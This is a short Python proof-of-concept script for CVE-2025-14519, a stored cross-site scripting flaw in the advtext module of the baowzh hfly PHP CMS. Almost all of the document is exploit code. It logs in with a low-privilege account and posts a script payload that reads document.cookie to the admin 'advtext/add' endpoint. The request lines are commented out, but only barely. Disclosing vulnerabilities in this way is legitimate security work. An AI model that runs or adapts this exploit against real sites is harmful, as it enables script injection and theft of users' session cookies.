CVE-2025-14519 baowzh hfly 存储型XSS漏洞

import requests # CVE-2025-14519 PoC - Stored XSS in baowzh hfly advtext module # Target: /admin/index.php/advtext/add target_url = "http://target.com/admin/index.php/advtext/add" # XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Login to get session cookie (low privilege account required) login_url = "http://target.com/admin/index.php/login" login_data = { "username": "low_priv_user", "password": "password" } session = requests.Session() # session.post(login_url, data=login_data) # Inject XSS payload via advtext add functionality post_data = { "title": "Malicious Ad", "content": xss_payload, "submit": "submit" } # response = session.post(target_url, data=post_data) # print("XSS payload injected successfully") print("Target: baowzh hfly PHP CMS") print(f"Vulnerable endpoint: {target_url}") print(f"Payload: {xss_payload}") print("Note: Requires low-privilege authenticated access")